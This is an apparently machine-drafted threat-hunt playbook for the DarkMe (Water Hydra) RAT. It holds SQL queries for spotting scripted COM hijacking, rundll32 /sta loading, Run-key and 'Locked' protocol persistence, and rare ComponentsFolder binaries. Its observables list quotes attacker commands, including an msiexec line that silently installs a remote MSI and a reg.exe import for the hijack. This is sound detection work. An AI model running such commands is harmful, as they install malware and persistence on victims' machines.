← All hunts high TLP:CLEAR Part 2 of 2

DarkMe RAT: COM Hijacking and Application Profiling

An intruder has established persistence and stealthy execution by hijacking a COM object via script and launching it with Rundll32's /sta flag, followed by a broad profiling of local financial and security applications.

Based on research by Huntress 2026-09-23 12 steps · 5 queries T1059.005 T1218.011 T1546.015 T1547.001 T1555

Brief

Why this hunt

Huntress recently detailed the evolution of DarkMe (also known as Water Hydra) in their report "DarkMe RAT Abandons Exploits" (https://www.huntress.com/blog/darkme-rat-abandons-exploits). While this APT group previously relied on zero-day vulnerabilities, the adversary now uses a sophisticated multi-stage VB6 loader to deliver their infostealer. This shift highlights a move toward stealthy, living-off-the-land techniques that evade traditional file-based detection.

Hunt Flow

The hunt begins by scoping the environment for the exemsi MSI Wrapper version 11.0.53.0. DarkMe campaigns use this specific wrapper version for initial delivery. Identifying hosts with this software narrows the search to the most likely beachheads for further investigation.

The second phase identifies the core loader activity through two parallel queries. One query searches for script activity involving Windows Script Host (.wsf) files that import the target CLSID ({CFDC57BA-1705-45AF-BA10-EFC3D592982B}) into the registry. The other query looks for rundll32.exe processes using the /sta flag. This flag initializes a Single Threaded Apartment, which is a requirement for the VB6-based COM server. When an analyst finds both events on the same host, it confirms a successful COM hijacking.

The third phase investigates persistence. The adversary registers a custom "Locked" protocol handler under the classes registry hive and adds entries to the standard Run keys. These entries point to the rundll32 /sta command line, ensuring the malware executes whenever the user logs in or a specific protocol is invoked.

The final phase uses stack-counting to find the malware's functional modules. The adversary stages files like Coconout.dll and Use.dll in the AppData\ComponentsFolder. Because legitimate applications rarely use this specific folder name for executable components, we stack-count every binary in this path across the fleet. Binaries that appear on only one or two hosts are highly suspicious and likely represent the DarkMe RAT modules.

This is a hunt because it pivots between four distinct surfaces—script activity, registry keys, process command lines, and binary prevalence—to reconstruct a chain that evades single-surface detection rules.

Blind Spots

This hunt has two primary blind spots. First, it requires robust script block logging and registry auditing. If the environment does not capture the content of script executions or registry changes, the analyst must rely solely on the rundll32 process command lines. Second, while the hunt identifies that profiling is occurring, the specific list of 329 targeted applications is hex-encoded inside the malware's binary. An analyst must perform forensic analysis of the Zeta_Component.log file to see which applications the malware actually found on a specific host.

Steps

  1. Scope by MSI Wrapper version

    Query · scoping

    Find hosts that have software installed using the specific exemsi MSI Wrapper (v11.0.53.0) observed in DarkMe campaigns.

    reads hb_software_inventorysql
    SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE package_version = '11.0.53.0' AND LOWER(vendor_name) LIKE '%exemsi%'

    What a hit looks like. A list of hosts that installed software via the specific wrapper version. This narrows the hunt to the most likely beachheads.

  2. Scripted COM Registration

    Query · enrichment

    Find the execution of Windows Script Host (.wsf) that imports registry keys to hijack a COM object.

    reads hb_script_activitysql
    SELECT device_hostname, script_path, script_content, time FROM hb_script_activity WHERE (instr(LOWER(script_content), LOWER('{{target_clsid}}')) > 0 OR LOWER(script_content) LIKE '%coconout.primary%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')

    What a hit looks like. A script block containing the target CLSID and references to registry imports. This confirms the persistence mechanism was staged.

  3. Rundll32 STA loader execution

    Query · detection candidate

    Identify the use of rundll32.exe with the /sta flag to load the hijacked COM server, a signature evasion technique.

    reads hb_process_activitysql
    SELECT device_hostname, process_cmd_line, user_name, time FROM hb_process_activity WHERE LOWER(process_cmd_line) LIKE '%/sta%' AND instr(LOWER(process_cmd_line), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')

    What a hit looks like. A rundll32 process command line containing /sta and the hijacked CLSID. This is the primary indicator of execution.

  4. Early stage triage

    Agent triage

    Assess whether the script and loader evidence together confirm an active COM hijacking on any host.

  5. Persistence via Run and Locked protocol

    Query · enrichment

    Find the secondary persistence mechanisms: standard Run keys and the unusual Locked protocol registration.

    reads hb_registry_activitysql
    SELECT device_hostname, reg_target, reg_value_data, time FROM hb_registry_activity WHERE (LOWER(reg_target) LIKE '%\currentversion\run%' OR LOWER(reg_target) LIKE '%\classes\locked\shell\open\command%') AND instr(LOWER(reg_value_data), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')

    What a hit looks like. Registry entries pointing to the rundll32 /sta command line, particularly under the 'Locked' protocol handler.

  6. Rare binaries in ComponentsFolder

    Query · baseline

    Stack-count processes running from the AppData ComponentsFolder to identify the rare DarkMe modules across the fleet.

    reads hb_process_activitysql
    SELECT LOWER(process_path) AS path, COUNT(DISTINCT device_hostname) AS host_count, COUNT(*) AS launch_count, MIN(time) AS first_seen FROM hb_process_activity WHERE LOWER(process_path) LIKE '%\appdata\componentsfolder\%' AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY path HAVING host_count <= 2 ORDER BY host_count ASC

    What a hit looks like. A list of binaries present on only one or two hosts. Genuine software rarely installs into a folder with this specific name.

  7. Final stage triage

    Agent triage

    Consolidate the early-stage loader evidence with the follow-on persistence and prevalence results to provide a comprehensive verdict.

  8. Route on verdict

    Decision

    Determine the next steps based on the agent's consolidated findings.

  9. Isolate host

    Response action

    Contain the infection by isolating the confirmed compromised host from the network.

  10. Analyst review

    Analyst task

    Review the findings for suspicious or indeterminate cases and investigate the Zeta_Component.log.

  11. Close out

    Analyst task

    Document the hunt results and consider promoting the rundll32 /sta query to a detection rule.

Coverage

Scenario coverage

StageCoveredHow, or why not
Scripted COM Object Registration
T1059.005 · T1546.015
Yes scripted-registration
Rundll32 COM Entry Loader
T1218.011
Yes rundll32-sta-loader
Broad Application Discovery Gate
T1555
Yes rare-componentsfolder-binaries
Registry Run-Key Persistence
T1547.001
Yes persistence-mechanisms
Social Engineering PIF Delivery
T1566
Out of scope Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.
Remote MSI Proxy Execution
T1218
Out of scope Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.
Cabinet File Extraction
T1059
Out of scope Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.

Blind spots

  • Needs full hb_script_activity and hb_registry_activity coverage. If script block logging is not enabled, the primary evidence for the registration stage is lost, leaving only the process execution. It would answer Whether the script execution was missed on hosts with legacy logging..
  • Needs binary analysis. The list of 329 targeted applications is hex-encoded inside the VB6 DLL; we can detect the logic's side effects (the log) but not the profiling itself in telemetry. It would answer Which specific applications were targeted on this host?.

Parameters & data

Parameters

ParameterTypeDefaultWhat it is
lookback_daysnumber14Days of history to examine.
scope_hostslist[string]—Optional: List of hostnames to restrict behavior queries; if empty, the entire estate is checked.
target_clsidstring{CFDC57BA-1705-45AF-BA10-EFC3D592982B}The CLSID used by DarkMe for COM hijacking.

Telemetry

SourceCategoryTelemetry
Endpoint telemetry (hb_ surfaces)endpointendpoint

Source

Download hunt.md Definition (JSON) An open hunt.md file; it runs anywhere that reads the format.
---
analysis: "This is a hunt because it pivots between four distinct surfaces\u2014script\
  \ activity, registry keys, process command lines, and binary prevalence\u2014to\
  \ reconstruct a chain that evades single-surface detection rules."
blind_spots:
- id: incomplete-telemetry
  question: Whether the script execution was missed on hosts with legacy logging.
  requires: full hb_script_activity and hb_registry_activity coverage
  risk: If script block logging is not enabled, the primary evidence for the registration
    stage is lost, leaving only the process execution.
- id: encrypted-profiling-logic
  question: Which specific applications were targeted on this host?
  requires: binary analysis
  risk: The list of 329 targeted applications is hex-encoded inside the VB6 DLL; we
    can detect the logic's side effects (the log) but not the profiling itself in
    telemetry.
  stage: application-discovery-gate
coverage:
- stage: scripted-com-hijacking
  status: covered
  steps:
  - scripted-registration
- stage: rundll32-com-loader
  status: covered
  steps:
  - rundll32-sta-loader
- stage: application-discovery-gate
  status: covered
  steps:
  - rare-componentsfolder-binaries
- stage: registry-run-persistence
  status: covered
  steps:
  - persistence-mechanisms
- reason: 'Belongs to another part of the ''DarkMe RAT: A VB6 APT Trojan Turned Conventional
    Infostealer'' series.'
  stage: phishing-pif-delivery
  status: out_of_scope
- reason: 'Belongs to another part of the ''DarkMe RAT: A VB6 APT Trojan Turned Conventional
    Infostealer'' series.'
  stage: remote-msi-execution
  status: out_of_scope
- reason: 'Belongs to another part of the ''DarkMe RAT: A VB6 APT Trojan Turned Conventional
    Infostealer'' series.'
  stage: cabinet-file-staging
  status: out_of_scope
guardrails:
  claims: no_unsupported
  evidence: citation_required
  missing_data: not_benign
  telemetry: untrusted
hunt:
  applicability: campaign-specific
  handoff: promote-to-detection
  justification: DarkMe is an APT-linked infostealer that uses non-standard execution
    paths like rundll32 /sta to bypass EDR; a negative result over the estate ensures
    this stealthy persistence is not active.
  methodology: model-assisted
  trigger: intel-report
hypothesis: An intruder has established persistence and stealthy execution by hijacking
  a COM object via script and launching it with Rundll32's /sta flag, followed by
  a broad profiling of local financial and security applications.
labels:
- hunt
- attack.t1059.005
- attack.t1546.015
- attack.t1218.011
- attack.t1555
- attack.t1547.001
name: 'DarkMe RAT: COM Hijacking and Application Profiling'
parameters:
  lookback_days:
    default: '14'
    description: Days of history to examine.
    type: number
  scope_hosts:
    default: []
    description: 'Optional: List of hostnames to restrict behavior queries; if empty,
      the entire estate is checked.'
    type: list[string]
  target_clsid:
    default: '{CFDC57BA-1705-45AF-BA10-EFC3D592982B}'
    description: The CLSID used by DarkMe for COM hijacking.
    from:
      kind: article
      observed: '2024-09-22'
      ref: huntress
    type: string
provenance:
  authors:
  - name: Huntbase hunt generation
    org: huntbase.io
  generated:
    by: huntbase-hunt-generation
    from: https://www.huntress.com/blog/darkme-rat-abandons-exploits
    gates:
    - dry-run
    - lint
    - critic
    model: hb_google/gemini-3-flash-preview
rationale: Initial scoping focuses on hosts with the specific exemsi wrapper version;
  broaden the hunt to all workstations if the first stage finds no hits, as the wrapper
  may have been updated.
references:
- name: "Huntress \u2014 DarkMe RAT Abandons Exploits"
  url: https://www.huntress.com/blog/darkme-rat-abandons-exploits
related:
- hunt: darkme-initial-delivery-pif-msi
  reason: This hunt focuses on the loader and post-exploitation profiling, while the
    sibling hunt focuses on the initial phishing delivery.
  relation: out-of-scope-alternative
scenario:
  stages:
  - name: Social Engineering PIF Delivery
    observables:
    - https://readonline365.com/view/image.png
    - image.pif
    slug: phishing-pif-delivery
    tactic: initial-access
    techniques:
    - T1566
  - name: Remote MSI Proxy Execution
    observables:
    - msiexec /i https://onlineview365.com/propi.msi /quiet /norestart
    - propi.msi
    - exemsi version 11.0.53.0
    slug: remote-msi-execution
    tactic: execution
    techniques:
    - T1218
  - name: Cabinet File Extraction
    observables:
    - EXPAND.EXE -R files.cab
    - '%AppData%\ComponentsFolder\'
    - files.cab
    slug: cabinet-file-staging
    tactic: execution
    techniques:
    - T1059
  - name: Scripted COM Object Registration
    observables:
    - prnfig.wsf
    - wScript.exe
    - reg.exe import filetext2.txt
    - HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}
    - ProgID Coconout.Primary
    slug: scripted-com-hijacking
    tactic: persistence
    techniques:
    - T1059.005
    - T1546.015
  - name: Rundll32 COM Entry Loader
    observables:
    - rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
    - Coconout.dll
    - Use.dll
    - Finalized.dll
    slug: rundll32-com-loader
    tactic: stealth
    techniques:
    - T1218.011
  - name: Broad Application Discovery Gate
    observables:
    - metamask.exe
    - keepass.exe
    - pokerstars.exe
    - mullvad-deamon.exe
    - razersynapse.exe
    slug: application-discovery-gate
    tactic: credential-access
    techniques:
    - T1555
  - name: Registry Run-Key Persistence
    observables:
    - HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    - HKCU\Software\Classes\Locked\shell\open\command
    - '%TEMP%\Zeta_Component.log'
    slug: registry-run-persistence
    tactic: persistence
    techniques:
    - T1547.001
  summary: Water Hydra (EvilNum) has transitioned from zero-day exploits to social
    engineering campaigns, delivering the DarkMe RAT via a spoofed .pif executable.
    The intrusion leverages a remote-hosted MSI installer to stage a multi-layered
    VB6 loader that utilizes COM hijacking and a massive application-discovery gate
    before establishing persistence via the Windows Registry.
series:
  index: 2
  slug: darkme-rat-a-vb6-apt-trojan-turned-conventional-infostealer
  title: 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer'
  total: 2
severity: high
targets:
  analyst:
    name: Tier-2 analyst
    role: analyst
  endpoint:
    category: endpoint
    name: Endpoint telemetry (hb_ surfaces)
    telemetry:
    - endpoint
  hunter:
    agent: true
    name: Hunt agent
tlp: clear
type: investigation
---


# DarkMe RAT: COM Hijacking and Application Profiling

This hunt identifies the sophisticated multi-stage VB6 loader mechanics used by DarkMe (Water Hydra). It follows the chain from scripted COM registration to the use of the obscure rundll32 /sta command line to bypass traditional detection. The hunt then pivots to find evidence of the second stage, which profiles over 300 target applications—including crypto wallets, trading platforms, and VPN clients—and establishes persistence through custom protocol handlers. By stack-counting rare binaries in user-writable components folders, we find the core malware modules that evade standard file-based alerts.

## scope-msi-wrapper
<!-- Scope by MSI Wrapper version -->
Find hosts that have software installed using the specific exemsi MSI Wrapper (v11.0.53.0) observed in DarkMe campaigns.

```sqlite target=endpoint role=scoping
~~~yaml
expected: A list of hosts that installed software via the specific wrapper version.
  This narrows the hunt to the most likely beachheads.
reads:
- device_hostname
- package_name
- package_version
- vendor_name
silence: not_evidence_of_absence
source: hb_software_inventory
verified: dry-run
verified_at: '2026-09-23'
~~~
SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE package_version = '11.0.53.0' AND LOWER(vendor_name) LIKE '%exemsi%'
```

## parallel-early
<!-- Identify script and loader activity -->
parallel:
- → scripted-registration
- → rundll32-sta-loader
join: → early-triage

## scripted-registration
<!-- Scripted COM Registration -->
Find the execution of Windows Script Host (.wsf) that imports registry keys to hijack a COM object.

```sqlite target=endpoint role=enrichment params=(target_clsid=target_clsid, scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: A script block containing the target CLSID and references to registry imports.
  This confirms the persistence mechanism was staged.
reads:
- device_hostname
- script_path
- script_content
- time
silence: not_evidence_of_absence
source: hb_script_activity
verified: dry-run
verified_at: '2026-09-23'
~~~
SELECT device_hostname, script_path, script_content, time FROM hb_script_activity WHERE (instr(LOWER(script_content), LOWER('{{target_clsid}}')) > 0 OR LOWER(script_content) LIKE '%coconout.primary%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')
```

## rundll32-sta-loader
<!-- Rundll32 STA loader execution -->
Identify the use of rundll32.exe with the /sta flag to load the hijacked COM server, a signature evasion technique.

```sqlite target=endpoint role=detection-candidate params=(target_clsid=target_clsid, scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: A rundll32 process command line containing /sta and the hijacked CLSID.
  This is the primary indicator of execution.
reads:
- device_hostname
- process_cmd_line
- user_name
- time
silence: not_evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-09-23'
~~~
SELECT device_hostname, process_cmd_line, user_name, time FROM hb_process_activity WHERE LOWER(process_cmd_line) LIKE '%/sta%' AND instr(LOWER(process_cmd_line), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')
```

## early-triage
<!-- Early stage triage -->
```agent target=hunter
cite: required
context:
- scripted-registration
- rundll32-sta-loader
max_iterations: 4
objective: Confirm the presence of DarkMe loader stages 1 and 2 on the identified
  hosts.
success_criteria: A per-host verdict of malicious, suspicious, or benign with cited
  process and script rows.
tools:
- endpoint
```

## parallel-late
<!-- Follow-on persistence and profiling -->
parallel:
- → persistence-mechanisms
- → rare-componentsfolder-binaries
join: → late-triage

## persistence-mechanisms
<!-- Persistence via Run and Locked protocol -->
Find the secondary persistence mechanisms: standard Run keys and the unusual Locked protocol registration.

```sqlite target=endpoint role=enrichment params=(target_clsid=target_clsid, scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: Registry entries pointing to the rundll32 /sta command line, particularly
  under the 'Locked' protocol handler.
reads:
- device_hostname
- reg_target
- reg_value_data
- time
silence: not_evidence_of_absence
source: hb_registry_activity
verified: dry-run
verified_at: '2026-09-23'
~~~
SELECT device_hostname, reg_target, reg_value_data, time FROM hb_registry_activity WHERE (LOWER(reg_target) LIKE '%\currentversion\run%' OR LOWER(reg_target) LIKE '%\classes\locked\shell\open\command%') AND instr(LOWER(reg_value_data), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')
```

## rare-componentsfolder-binaries
<!-- Rare binaries in ComponentsFolder -->
Stack-count processes running from the AppData ComponentsFolder to identify the rare DarkMe modules across the fleet.

```sqlite target=endpoint role=baseline params=(lookback_days=lookback_days)
~~~yaml
baseline:
  compare: first_seen
  window: '{{lookback_days}}d'
expected: A list of binaries present on only one or two hosts. Genuine software rarely
  installs into a folder with this specific name.
prevalence:
  by: device_hostname
  key:
  - path
  rare_below: 3
reads:
- process_path
- device_hostname
- time
silence: not_evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-09-23'
~~~
SELECT LOWER(process_path) AS path, COUNT(DISTINCT device_hostname) AS host_count, COUNT(*) AS launch_count, MIN(time) AS first_seen FROM hb_process_activity WHERE LOWER(process_path) LIKE '%\appdata\componentsfolder\%' AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY path HAVING host_count <= 2 ORDER BY host_count ASC
```

## late-triage
<!-- Final stage triage -->
```agent target=hunter
cite: required
context:
- early-triage
- persistence-mechanisms
- rare-componentsfolder-binaries
max_iterations: 4
objective: Identify hosts where DarkMe has successfully established persistence and
  is likely profiling local applications.
success_criteria: A consolidated verdict citing the loader execution, the persistence
  keys, and the rare binaries.
tools:
- endpoint
```

## route
<!-- Route on verdict -->
if~: "the late-triage verdict is malicious for at least one host" (confidence: high, judge=hunter)
then: → isolate-host
indeterminate: → analyst-review
unavailable: → analyst-review (blind_spot: incomplete-telemetry)
else: → close-out

## isolate-host
<!-- Isolate host -->
```action target=endpoint
~~~yaml
approval: required
~~~
Isolate the host and preserve the %AppData%\ComponentsFolder\ and %AppData%\Microsoft\ folders for forensic collection.
```
→ analyst-review

## analyst-review
<!-- Analyst review -->
```manual target=analyst
Check the %TEMP%\Zeta_Component.log for debug output. Review the rare binaries identified in the prevalence step and confirm if they correspond to the DarkMe VB6 loaders (Coconout.dll, Use.dll, Finalized.dll).
```
→ close-out

## close-out
<!-- Close out -->
```manual target=analyst
Record the affected hosts and users. If the rundll32 /sta execution was high-confidence, promote the associated query to a permanent detection rule.
```
→ end

Run it

Take this hunt into your environment.

Open it in Huntbase to run every step against your own connections, with Scout weighing the evidence and your analysts in command. Or take the open hunt.md file anywhere that reads the format.

Machine-drafted by huntbase-hunt-generation using hb_google/gemini-3-flash-preview, gated by dry-run, lint, critic, then reviewed by a person.